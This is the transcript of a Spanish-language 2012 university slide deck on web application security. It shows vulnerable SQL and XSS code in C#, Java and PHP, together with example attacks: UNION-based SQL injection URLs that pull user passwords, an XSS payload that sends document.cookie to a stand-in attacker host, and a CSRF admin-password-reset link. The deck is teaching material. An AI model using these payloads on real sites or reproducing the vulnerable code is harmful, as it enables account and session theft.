seguridad

17
 Seguridad de Aplicaciones Web Everth Juvenal Gallegos Puma

Upload: vlaslov

Post on 09-Jul-2015

1.012 views

Category:

Documents


0 download

DESCRIPTION

Presentacion relizada en la Universidad Andina del Cusco el 25 de Mayo del 2012 por el Br. Everth Juvenal Gallegos Puma.

TRANSCRIPT

Page 1: Seguridad

   

Seguridad de Aplicaciones Web

Everth Juvenal Gallegos Puma

Page 2: Seguridad

   

¿Que es un aplicacion web?

En la ingeniería de software se denomina aplicación web a aquellas aplicaciones que los usuarios pueden utilizar accediendo a un servidor web a través de Internet o de una intranet mediante un navegador. En otras palabras, es una aplicación software que se codifica en un lenguaje soportado por los navegadores web en la que se confía la ejecución al navegador.

Page 3: Seguridad

   

Arquitectura de una AppWeb

http://areyouahuman.com/

Page 4: Seguridad

   

HTTP● protocolo de transferencia de hipertexto.

● Ejemplo:

Cliente:

GET /index.php HTTP/1.1

Host: www.example.com

User-Agent: nombre-cliente

Cookie:phpsession=12aba789491279912

Connection: Close

Servidor:

HTTP/1.1 200 OK

Date: Fri, 31 Dec 2011 23:59:59 GMT

Content-Type: text/html

Content-Length: 1221

<html>

<body>

<h1>Página principal de tuHost</h1>

Page 5: Seguridad

   

¿A que nos enfrentamos?

Page 6: Seguridad

   

¿Por donde empezamos?

Page 7: Seguridad

   

¿Qué son los riesgos de seguridad en aplicaciones?

Page 8: Seguridad

   

Algunos Ejemplos

● SQL Injeccion: Injeccion de codigo sql en consultas

codigo vulnerable

C#:

SqlCommand cmd = new SqlCommand("SELECT * FROM noticias WHERE id = '" +Request.QueryString(“id”) + "'", con);

using( SqlDataReader rdr = cmd.ExecuteReader() );

Page 9: Seguridad

   

Java:

Statement stmt = con.createStatement();

ResultSet rset = stmt.executeQuery("SELECT * FROM noticias WHERE id = '" + request.getParameter(“id”) + "';");

PHP:

$query_result = mysql_query("SELECT * FROM noticias WHERE id = '" . $_GET[“id”]. "'");

Page 10: Seguridad

   

● Testing

http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=1

internamente:

Select * from noticias where id=1 and 1=1

“muestra contenido”

http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=2

internamente:

Select * from noticias where id=1 and 1=2

“No muestra Contenido”

Page 11: Seguridad

   

● Ataque

allar el numero de columnas

http://ejemplo.com/noticias.php|asp|jsp?id=1 order by 1,2,..etc

hacer consultas

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables.

Consula a la tabla de usuario

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,usuario,password,5,..,etc from usuario

Page 12: Seguridad

   

● XSS:

ataque del lado del cliente para injectar codigo html, javascript.

Codigo Vulnerable:

C#:

response.write(request.querystring(“msg”));

JAVA:

out.println(request.getParameter(“msg”));

PHP:

echo $_GET[“msg”];

Page 13: Seguridad

   

● Testing:

http://ejemplo.com/buscar.php|asp|jsp?msg=<h1>Hola</h1>.

● Ataque:

http://ejemplo.com/buscar.php|asp|jsp?msg=document.location=http://juaker.com/xss.php?datos=document.cookie;

Page 14: Seguridad

   

● Falcificacion de peticiones:

Ataque:

<a href=”http://mipagina.com/resert.php?

user=admin&newpass=admin”>Gana dinero con un click</a>.

● Almacenamiento Criptográfico Inseguro

“cifrar adecuadamente datos importantes”

ejemplo

passcifrado=md5(salt+passoriginal);

Page 15: Seguridad

   

Defectuosa Configuracion de Seguridad:

Ejemplo

aspx:

Padding oracle:Exposicion de codigo remotamente

PHP:

php en modo cgi:Exposicion y ejecucion de codigo remoto

Page 16: Seguridad

   

● Errores de capa 8:

Usuarios descuidados

contraseñas debiles

archivos de respaldo no borrados.

Page 17: Seguridad

   

Gracias¿Preguntas?

[email protected]